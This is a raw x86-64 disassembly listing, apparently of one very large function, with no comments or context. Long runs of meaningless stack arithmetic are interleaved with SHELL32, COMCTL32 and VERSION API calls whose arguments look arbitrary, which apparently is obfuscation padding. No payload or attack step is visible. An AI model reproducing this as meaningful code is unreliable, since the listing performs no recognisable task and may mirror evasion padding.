mov byte [rcx], al
mov rax, qword [rsp + 0xa980]
mov qword [rsp + 0xdee0], rax
mov rax, qword [rsp + 0xd750]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1254]
or eax, ecx
mov word [rsp + 0x2a90], ax
mov rax, qword [rsp + 0xdca8]
movzx eax, word [rax]
mov word [rsp + 0x2ccc], ax
mov rax, qword [rsp + 0xdeb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd088]
sub rcx, rax
mov rax, rcx
mov qword [0x14019d148], rax
mov rax, qword [rsp + 0xd7a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c40]
shl eax, cl
mov rcx, qword [rsp + 0xd888]
mov word [rcx], ax
mov rax, qword [rsp + 0xd890]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xddf8]
mov qword [rsp + 0xdee8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdee8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xd2a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd548]
mov rcx, qword [0x14019f050]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xcc68], rax
movsx eax, byte [rsp + 0x503]
movsx ecx, byte [rsp + 0x496]
sub eax, ecx
mov byte [rsp + 0x52f], al
mov rax, qword [rsp + 0xda48]
mov qword [rsp + 0xdef0], rax
mov rax, qword [rsp + 0xdc50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd1d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4c0], al
mov eax, dword [rsp + 0x5b24]
imul eax, dword [rsp + 0x6928]
mov dword [rsp + 0x6798], eax
mov eax, dword [rsp + 0x6cf4]
mov ecx, dword [rsp + 0x6d68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5f6c], eax
mov rax, qword [rsp + 0xd818]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdb90]
movsx ecx, word [rcx]
add eax, ecx
mov word [reloc.SHELL32.dll_ILSaveToStream], ax
movsx eax, word [rsp + 0x2b9c]
movsx ecx, word [rsp + 0x1d00]
add eax, ecx
mov word [rsp + 0x213c], ax
mov edx, 0xc7
lea rcx, [rsp + 0x22970]
call qword [sym.imp.SHELL32.dll_SHGetSettings]
movzx eax, word [rsp + 0x1180]
mov word [rsp + 0x2cd0], ax
mov rax, qword [rsp + 0xd5f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdb00]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd910]
mov word [rcx], ax
mov rax, qword [rsp + 0xd9a8]
mov rcx, qword [rsp + 0xd1e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xcef0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd628]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x510]
and eax, ecx
mov byte [rsp + 0x488], al
mov rax, qword [rsp + 0xda88]
mov ecx, dword [rsp + 0x6e6c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xd198]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1b04]
mov word [rsp + 0x2cd4], ax
mov rax, qword [rsp + 0xddc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdd28]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2a3c], ax
mov rax, qword [rsp + 0x9a60]
mov qword [0x14019f258], rax
mov rax, qword [rsp + 0x90d8]
mov qword [rsp + 0xdef8], rax
mov rax, qword [rsp + 0xd998]
movzx ecx, al
mov rax, qword [rsp + 0xb198]
sar rax, cl
mov qword [rsp + 0xd4b8], rax
mov rax, qword [rsp + 0xdb98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd558]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbce8], rax
lea rax, [rsp + 0x24f8]
mov qword [rsp + 0xdf00], rax
mov rax, qword [rsp + 0xdc70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x517]
shl eax, cl
mov byte [rsp + 0x521], al
mov rax, qword [rsp + 0xd050]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5938]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c48], eax
mov r8d, reloc.SHELL32.dll_ILRemoveLastID
mov rdx, qword [rsp + 0xce20]
mov rcx, qword [rsp + 0xdf08]
call qword [sym.imp.SHELL32.dll_ExtractIconW]
mov qword [rsp + 0xd138], rax
mov rax, qword [0x14019efc8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xdd50]
mov qword [rsp + 0xdf10], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdf10]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6e44], eax
mov rax, qword [rsp + 0xdbe0]
mov rcx, qword [rsp + 0xd358]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbb70], rax
lea rdx, [rsp + 0x22970]
mov ecx, 0xa2
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [rsp + 0x6ce0], eax
mov rax, qword [rsp + 0xd628]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4f8]
sub eax, ecx
mov byte [str.mA8xd_v0], al
movzx eax, word [rsp + 0x2cc0]
mov word [rsp + 0x2cd8], ax
movsx eax, word [rsp + 0x2bb4]
mov rcx, qword [rsp + 0xd928]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe3c], ax
movzx eax, word [rsp + 0x2c40]
mov rcx, qword [rsp + 0xd5f0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x150c], ax
mov rax, qword [rsp + 0xb4e0]
mov rcx, qword [0x14019d0a0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd548]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd8c0]
mov rcx, qword [rsp + 0xc4b8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd5f8], rax
mov rax, qword [0x14019f198]
movzx eax, byte [rax]
mov byte [rsp + 0x53f], al
mov rax, qword [rsp + 0xd118]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xde78]
mov qword [rsp + 0xdf18], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdf18]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xdc60]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd750]
movzx eax, word [rax]
mov word [rsp + 0x2cdc], ax
movzx eax, word [rsp + 0x1ed8]
movzx ecx, word [0x14019ef98]
sar eax, cl
mov word [0x14019f1c8], ax
mov rax, qword [rsp + 0xd918]
mov rcx, qword [rsp + 0xdb58]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9ff8], rax
movzx eax, word [rsp + 0x2ae4]
movzx ecx, word [rsp + 0xd98]
add eax, ecx
mov word [rsp + 0x2b18], ax
mov eax, dword [rsp + 0x5918]
mov ecx, dword [rsp + 0x6d80]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5e08], eax
movzx eax, byte [rsp + 0x528]
mov rcx, qword [rsp + 0xdc70]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1de], al
lea rax, [rsp + 0x5e94]
mov qword [rsp + 0xdf20], rax
mov rax, qword [rsp + 0xd158]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xda]
shl eax, cl
mov byte [rsp + 0x4e3], al
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
mov qword [rsp + 0xdf28], rax
mov rax, qword [rsp + 0xd188]
movsx eax, word [rax]
movsx ecx, word [0x14019f208]
sar eax, cl
mov word [rsp + 0x2c9c], ax
lea r9, [rsp + 0x209d0]
lea r8, [rsp + 0x1e8d0]
lea rdx, [fcn.140182fd0]
mov rcx, qword [rsp + 0xdf30]
call sub.COMCTL32.dll_Ordinal_411
mov dword [rsp + 0x6e38], eax
mov rax, qword [rsp + 0xd630]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ae0]
add eax, ecx
mov word [0x14019d150], ax
mov rax, qword [rsp + 0xdeb0]
mov rcx, qword [rsp + 0xb4e0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xda20]
mov qword [rcx], rax
mov rax, qword [0x14019f0d0]
mov rcx, qword [rsp + 0xd250]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb568], rax
mov rax, qword [rsp + 0xd588]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd9b8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2760], ax
lea r8, [rsp + 0xcdf8]
mov rdx, qword [rsp + 0xd9b0]
mov rcx, qword [rsp + 0xdf08]
call qword [sym.imp.SHELL32.dll_ExtractAssociatedIconW]
mov qword [rsp + 0xd138], rax
movzx eax, word [rsp + 0x2aac]
mov word [rsp + 0x2ce0], ax
mov rax, qword [rsp + 0xdd48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd218]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x4e4], al
mov rax, qword [rsp + 0xd0d0]
mov ecx, dword [rsp + 0x6e6c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6e94], eax
mov rax, qword [rsp + 0xdb78]
mov rax, qword [rax]
mov qword [rsp + 0xdf38], rax
mov rax, qword [rsp + 0xb198]
movzx ecx, al
mov rax, qword [rsp + 0xb1d8]
sar rax, cl
mov rcx, qword [rsp + 0xd298]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdcf8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c20]
sub eax, ecx
mov word [0x14019f20c], ax
mov rax, qword [rsp + 0xd8e8]
movzx eax, word [rax]
movzx ecx, word [0x14019d140]
add eax, ecx
mov word [rsp + 0x17c4], ax
mov rax, qword [rsp + 0xde68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd550]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x523], al
mov rax, qword [rsp + 0xd050]
mov ecx, dword [0x14019efa8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5ec4], eax
mov rax, qword [rsp + 0x9280]
mov qword [rsp + 0xdf40], rax
mov rax, qword [rsp + 0xd5d0]
mov rcx, qword [rsp + 0xd468]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xde20], rax
mov eax, dword [rsp + 0x6dec]
mov rcx, qword [rsp + 0xde78]
mov qword [rsp + 0xdf48], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdf48]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5ef8], eax
xor r8d, r8d
lea rdx, [rsp + 0xce18]
lea rcx, [rsp + 0x200e0]
call qword [sym.imp.SHELL32.dll_ILAppendID]
mov qword [rsp + 0xdf50], rax
mov rax, qword [rsp + 0xd9f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x362]
shl eax, cl
mov byte [rsp + 0x538], al
movzx eax, word [rsp + 0x116c]
mov word [rsp + 0x2ce4], ax
mov rax, qword [rsp + 0xd8b0]
movzx eax, word [rax]
mov word [0x14019f260], ax
mov rax, qword [rsp + 0xda90]
mov rax, qword [rax]
mov rcx, qword [0x14019f0a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd670], rax
movzx eax, word [rsp + 0x2cb8]
movzx ecx, word [rsp + 0x2cd0]
add eax, ecx
mov rcx, qword [rsp + 0xd148]
mov word [rcx], ax
movzx eax, word [rsp + 0x2ad8]
mov word [rsp + 0x2ce8], ax
mov rax, qword [rsp + 0xd860]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdb58]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a60], rax
movsx eax, byte [rsp + 0xf7]
movsx ecx, byte [rsp + 0x347]
xor eax, ecx
mov byte [rsp + 0x2b9], al
mov rax, qword [rsp + 0xd9a8]
mov rax, qword [rax]
mov rcx, qword [0x14019f1f0]
mov qword [rsp + 0xdf58], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdf58]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xb1c0], rax
lea rax, [rsp + 0x2a30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xdf60]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1e5b0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x21150]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xce48]
mov r8, qword [rsp + 0xd2c8]
mov rdx, qword [rsp + 0xd718]
mov ecx, 0xec
call sub.VERSION.dll_VerFindFileW
mov dword [rsp + 0x6e04], eax
mov eax, dword [rsp + 0x6d6c]
mov ecx, dword [rsp + 0x6d0c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d74], eax
movzx eax, word [rsp + 0x2c2c]
mov word [rsp + 0x2cec], ax
mov rax, qword [rsp + 0xd638]
movzx ecx, al
mov rax, qword [0x14019efc0]
shl rax, cl
mov qword [0x14019d0f0], rax
mov eax, dword [rsp + 0x6b50]
mov ecx, dword [rsp + 0x6e3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6db4], eax
movzx eax, byte [rsp + 0x3b1]
movzx ecx, byte [0x14019d010]
sub eax, ecx
mov byte [rsp + 0x3dd], al
movsx eax, word [rsp + 0x2120]
movsx ecx, word [rsp + 0x2bec]
add eax, ecx
mov word [rsp + 0x2c4c], ax
mov rax, qword [rsp + 0xdd28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a70]
add eax, ecx
mov word [rsp + 0x2c0c], ax
mov eax, dword [0x14019d060]
mov dword [rsp + 0x6ea8], eax
mov rax, qword [rsp + 0xd2c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd180]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x50e], al
mov rax, qword [rsp + 0xd110]
mov rcx, qword [rsp + 0xd5d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa4b0], rax
movsx eax, word [rsp + 0x2ba8]
mov rcx, qword [rsp + 0xd928]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xdb68]
mov word [rcx], ax
movzx eax, word [rsp + 0x2cb8]
movzx ecx, word [rsp + 0x2a54]
sar eax, cl
mov word [0x14019d154], ax
mov rax, qword [rsp + 0xd1c0]
mov rcx, qword [rsp + 0xcfe0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9ef8], rax
mov rax, qword [rsp + 0xd9d0]
mov rax, qword [rax]
mov qword [rsp + 0xdf68], rax
mov rax, qword [rsp + 0xd738]
mov rcx, qword [rsp + 0xd980]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb9e8], rax
movzx eax, word [rsp + 0x2bc8]
mov word [rsp + 0x2cf0], ax
movsx eax, byte [rsp + 0x3e1]
mov rcx, qword [rsp + 0xd180]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4df], al
mov rax, qword [rsp + 0xa3b0]
mov rcx, qword [rsp + 0xd9a0]
mov qword [rsp + 0xdf70], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdf70]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x97f8], rax
mov rax, qword [rsp + 0xd338]
mov ecx, dword [rsp + 0x6d0c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6d6c], eax
mov eax, dword [rsp + 0x5b24]
movzx ecx, al
mov eax, dword [rsp + 0x6e7c]
shl eax, cl
mov dword [rsp + 0x5eb4], eax
mov rax, qword [rsp + 0xd0c0]
movzx eax, byte [rax]
mov byte [rsp + 0x540], al
movzx eax, word [rsp + 0x13cc]
mov word [0x14019f264], ax
mov rax, qword [rsp + 0xd8a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdf00]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd8b0]
mov word [rcx], ax
lea rax, [rsp + 0x2650]
mov qword [rsp + 0xdf78], rax
mov rax, qword [rsp + 0xdd68]
mov rax, qword [rax]
mov rcx, qword [0x14019f070]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdc68], rax
mov rax, qword [rsp + 0xdd00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6774]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6da8], eax
mov rax, qword [rsp + 0xbfa0]
mov rcx, qword [rsp + 0xdf28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcc00], rax
mov rax, qword [rsp + 0xd0a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x496]
add eax, ecx
mov rcx, qword [rsp + 0xd628]
mov byte [rcx], al
movzx eax, word [rsp + 0x2c5c]
mov word [rsp + 0x2cf4], ax
mov rax, qword [rsp + 0xd4a8]
movzx eax, word [rax]
movzx ecx, word [0x14019f1a0]
sar eax, cl
mov word [rsp + 0x2b54], ax
mov rax, qword [rsp + 0xdeb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd868]
or rcx, rax
mov rax, rcx
mov qword [0x14019f178], rax
mov rax, qword [rsp + 0xdf00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdb0]
xor eax, ecx
mov word [rsp + 0x2650], ax
mov rax, qword [rsp + 0xb110]
mov qword [rsp + 0xdf80], rax
mov rax, qword [rsp + 0xb568]
mov rcx, qword [rsp + 0xd290]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xdcb0], rax
mov rax, qword [0x14019f0f8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xaa78]
shl rax, cl
mov qword [rsp + 0xae78], rax
movsx eax, byte [rsp + 0x538]
mov rcx, qword [rsp + 0xdd70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3c7], al
mov rax, qword [rsp + 0xd550]
movzx eax, byte [rax]
mov byte [rsp + 0x541], al
mov rax, qword [rsp + 0xda60]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd480]
mov qword [rsp + 0xdf88], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdf88]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x59f0], eax
mov rax, qword [rsp + 0xddc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6de0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e84], eax
movsx eax, word [rsp + 0x2ca8]
movsx ecx, word [rsp + 0x2cb0]
shl eax, cl
mov word [0x14019f214], ax
lea rax, [0x14019f068]
mov qword [rsp + 0xdf90], rax
mov rax, qword [rsp + 0xdbf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdbd0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2728], ax
movzx eax, word [rsp + 0x2b60]
mov rcx, qword [rsp + 0xd4a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b18], ax
mov rax, qword [0x14019f1f0]
mov rcx, qword [rsp + 0xd110]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xd3b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6dec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6184], eax
mov rax, qword [0x14019f180]
movzx eax, byte [rax]
mov byte [rsp + 0x542], al
movsx eax, word [rsp + 0x2a90]
mov rcx, qword [rsp + 0xda00]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2aa4], ax
lea rax, [rsp + 0x1ed8]
mov qword [rsp + 0xdf98], rax
lea rax, [rsp + 0x9d98]
mov qword [0x14019f268], rax
mov rax, qword [rsp + 0xd5e8]
mov rcx, qword [0x14019d128]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb568], rax
mov r8d, ILSaveToStream
mov rdx, qword [rsp + 0xd360]
mov rcx, qword [rsp + 0xd130]
call qword [sym.imp.SHELL32.dll_ExtractIconW]
mov qword [rsp + 0xd138], rax
mov rax, qword [rsp + 0xda90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd500]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9810], rax
lea rax, [rsp + 0x9a60]
mov qword [rsp + 0xdfa0], rax
movzx eax, word [rsp + 0x26d0]
mov rcx, qword [rsp + 0xd8e8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2b4c], ax
mov rax, qword [rsp + 0xdc70]
movzx eax, byte [rax]
mov byte [rsp + 0x543], al
mov rax, qword [rsp + 0xd0f8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6414]
shl eax, cl
mov dword [rsp + 0x6458], eax
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e14]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d68], eax
mov rax, qword [rsp + 0xd4c0]
movzx ecx, al
mov rax, qword [rsp + 0xdbb0]
shr rax, cl
mov qword [rsp + 0x9400], rax
lea rax, [rsp + 0x2b9]
mov qword [0x14019f270], rax
movsx eax, word [rsp + 0x1d00]
mov rcx, qword [rsp + 0xd188]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2bb0], ax
movzx eax, word [rsp + 0x1254]
mov word [rsp + 0x2cf8], ax
mov rax, qword [rsp + 0xdd28]
movzx eax, word [rax]
mov rcx, qword [0x14019f230]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a44], ax
mov rax, qword [rsp + 0xdd68]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xde38]
shl rax, cl
mov qword [rsp + 0xae80], rax
mov rax, qword [rsp + 0xd6e0]
movzx ecx, al
mov rax, qword [rsp + 0xd938]
shr rax, cl
mov rcx, qword [rsp + 0xd468]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x4fd]
movsx ecx, byte [rsp + 0x6a]
sub eax, ecx
mov byte [rsp + 0x4f8], al
lea rax, [rsp + 0x6da8]
mov qword [rsp + 0xdfa8], rax
movsx eax, word [rsp + 0x2c78]
mov rcx, qword [rsp + 0xdb90]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a38], ax
mov rax, qword [0x14019f018]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019f170], ax
mov rax, qword [rsp + 0xd890]
mov rax, qword [rax]
mov qword [rsp + 0xdfb0], rax
movzx eax, word [rsp + 0x2ad4]
mov rcx, qword [rsp + 0xdbf0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2a44], ax
movzx eax, byte [rsp + 0x51f]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x4e2], al
mov eax, dword [rsp + 0x6254]
mov dword [rsp + 0x6eac], eax
mov rax, qword [rsp + 0xd158]
movsx eax, byte [rax]
movsx ecx, byte [0x14019ef96]
shl eax, cl
mov byte [rsp + 0x4e4], al
mov eax, dword [rsp + 0x6e28]
mov rcx, qword [rsp + 0xd0d0]
mov qword [rsp + 0xdfb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdfb8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6b5c], eax
mov rax, qword [rsp + 0xd1e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcc00]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd9a8]
mov qword [rcx], rax
mov rax, qword [0x14019f008]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdd10]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x151c], ax
mov rax, qword [rsp + 0xd630]
movzx eax, word [rax]
mov word [0x14019f278], ax
mov rax, qword [rsp + 0xd0d8]
mov rax, qword [rax]
mov qword [rsp + 0xdfc0], rax
mov rax, qword [0x14019d040]
mov rcx, qword [rsp + 0xc338]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd6c8], rax
mov rax, qword [rsp + 0xd258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c08]
sub eax, ecx
mov word [rsp + 0x245c], ax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe74]
or eax, ecx
mov word [rsp + 0x2c6c], ax
movsx eax, byte [rsp + 0x539]
mov rcx, qword [rsp + 0xd628]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x52c], al
mov rax, qword [rsp + 0xd1c8]
mov rax, qword [rax]
mov qword [rsp + 0xdfc8], rax
mov rax, qword [rsp + 0xdf20]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd2f8]
mov qword [rsp + 0xdfd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdfd0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6d84], eax
mov rax, qword [rsp + 0xdb98]
mov rcx, qword [rsp + 0xbf98]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x94b8], rax
mov rax, qword [rsp + 0xd9b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdb68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14019d10c], ax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd4a8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2c2c], ax
mov eax, dword [rsp + 0x6458]
mov dword [rsp + 0x6eb0], eax
movzx eax, byte [rsp + 0x53e]
mov rcx, qword [rsp + 0xde68]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xd1a0]
mov byte [rcx], al
mov rax, qword [rsp + 0xae80]
mov rcx, qword [0x14019f178]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ef8], rax
mov rax, qword [rsp + 0xd628]
movzx eax, byte [rax]
mov byte [rsp + 0x544], al
mov rax, qword [0x14019f158]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xda70]
mov qword [rsp + 0xdfd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdfd8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6d20], eax
mov rax, qword [rsp + 0xd5d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd608]
mov qword [rsp + 0xdfe0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdfe0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xb0a0], rax
movsx eax, word [rsp + 0xec4]
movsx ecx, word [rsp + 0x2c8c]
sub eax, ecx
mov word [rsp + 0x2a6c], ax
movzx eax, word [0x14019f204]
mov rcx, qword [rsp + 0xdbd0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019d158], ax
mov rax, qword [rsp + 0xd220]
mov rcx, qword [rsp + 0xdea0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdb58], rax
mov rax, qword [rsp + 0xd630]
movzx eax, word [rax]
mov word [rsp + 0x2cfc], ax
movsx eax, word [rsp + 0x2c74]
movsx ecx, word [rsp + 0x2a6c]
sub eax, ecx
mov rcx, qword [rsp + 0xd588]
mov word [rcx], ax
lea rax, [rsp + 0x9828]
mov qword [rsp + 0xdfe8], rax
mov rax, qword [rsp + 0xd218]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x536]
shl eax, cl
mov byte [rsp + 0x4f9], al
mov rax, qword [rsp + 0xd110]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14019f010]
shr rax, cl
mov qword [rsp + 0xd788], rax
lea rax, [rsp + 0x58c8]
mov qword [rsp + 0xdff0], rax
movzx eax, word [rsp + 0x2b14]
mov rcx, qword [rsp + 0xd888]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2434], ax
mov rax, qword [0x14019f118]
mov qword [0x14019f280], rax
mov rax, qword [rsp + 0xd098]
mov ecx, dword [rsp + 0x66ac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6a8c], eax
mov rax, qword [rsp + 0xd550]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdd98]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x53c], al
movzx eax, word [rsp + 0x2cc0]
mov word [rsp + 0x2d00], ax
movzx eax, word [rsp + 0x2a9c]
movzx ecx, word [rsp + 0xd60]
xor eax, ecx
mov word [rsp + 0x2bcc], ax
movsx eax, byte [rsp + 0x18d]
mov rcx, qword [rsp + 0xd2c0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x525], al
mov rax, qword [rsp + 0xd4f0]
mov rax, qword [rax]
mov qword [rsp + 0xdff8], rax
mov rax, qword [rsp + 0xdd50]
mov ecx, dword [rsp + 0x6d20]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5a10], eax
mov rax, qword [rsp + 0xd898]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f68]
shl eax, cl
mov word [rsp + 0x28b0], ax
mov rax, qword [rsp + 0xd800]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdca8]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14019d158], ax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9a60]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xbf78], rax
mov rax, qword [rsp + 0xd260]
mov rcx, qword [0x14019f1a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc338], rax
mov rax, qword [rsp + 0xcb10]
mov qword [rsp + 0xe000], rax
